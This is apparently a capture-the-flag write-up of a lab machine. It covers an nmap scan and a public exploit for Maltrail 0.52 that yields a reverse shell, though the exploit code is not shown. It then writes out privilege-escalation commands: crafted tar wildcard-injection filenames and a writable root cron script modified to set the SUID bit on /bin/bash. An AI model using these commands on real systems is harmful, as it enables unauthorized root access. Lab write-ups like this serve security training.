root๐Ÿ’€n16hth4wk-sec:~#

Recon โ†’ Enumerate โ†’ Exploit โ†’ Repeat!. ๐Ÿ’€

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First enumeration with nmap

# Nmap 7.94SVN scan initiated Thu Mar 21 23:35:44 2024 as: nmap -sC -sV -T4 -oN service.nmap -p 22,80,8338 -Pn 192.168.190.32
Nmap scan report for 192.168.190.32
Host is up (0.19s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
8338/tcp open  unknown
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: Maltrail/0.52
|     Date: Thu, 21 Mar 2024 22:37:03 GMT
|     Connection: close
|     Content-Type: text/html
|     Last-Modified: Sat, 31 Dec 2022 22:58:57 GMT
|     Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; img-src * blob:; script-src 'self' 'unsafe-eval' https://stat.ripe.net; frame-src *; object-src 'none'; block-all-mixed-content;
|     Cache-Control: no-cache
|     Content-Length: 7091
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta http-equiv="X-UA-Compatible" content="IE=edge">
|     <meta http-equiv="Content-Type" content="text/html;charset=utf8">
|     <meta name="viewport" content="width=device-width, user-scalable=no">
|     <meta name="robots" content="noindex, nofollow">
|     <title>Maltrail</title>
|     <link rel="stylesheet" type="text/css" href="css/thirdparty.min.css">
|     <link rel="stylesheet" type="text/css" hre
|   HTTPOptions: 
|     HTTP/1.0 501 Unsupported method ('OPTIONS')
|     Server: Maltrail/0.52
|     Date: Thu, 21 Mar 2024 22:37:03 GMT
|     Connection: close
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 500
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 501</p>
|     <p>Message: Unsupported method ('OPTIONS').</p>
|     <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF:upport\x20this\x20operation\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 21 23:37:28 2024 -- 1 IP address (1 host up) scanned in 103.76 seconds

Enumerating web server

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thereโ€™s a web server running on port 80, opening it on a browser w got a default apache webpage.

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fuzzing the wweb url, got nothing hidden.

Enumerating port 8338

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we can see it is running mailtrail 0.52. letโ€™s look for exploit.

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found and exploit on github. exploit.

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run the exploit and we got a reverse shell.

Privilege Escalation

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running pspy, we can see a cron job by root. Running tar. letโ€™s abuse it and also a cronjob for /var/backups/etc_Backup.sh

snort@ochima:/tmp$ cd /home/snort/
snort@ochima:~$ echo "" > '--checkpoint=1'
snort@ochima:~$ echo "" > '--checkpoint-action=exec=sh privesc.sh'
snort@ochima:~$ nano privesc.sh
snort@ochima:~$ cat privesc.sh 
#!/bin/bash

chmod +s /bin/bash
snort@ochima:~$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
snort@ochima:~$ 

the above did not work, letโ€™s check out the /var/backups/etc_Backup.sh.

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we have full permission to the file. letโ€™s modify it

snort@ochima:/var/backups$ cat /var/backups/etc_Backup.sh
#! /bin/bash 
tar -cf /home/snort/etc_backup.tar /etc
chmod +s /bin/bash
snort@ochima:/var/backups$ 

create an suid for /bin/bash.

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abuse the suid and boom w got root.

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and we are through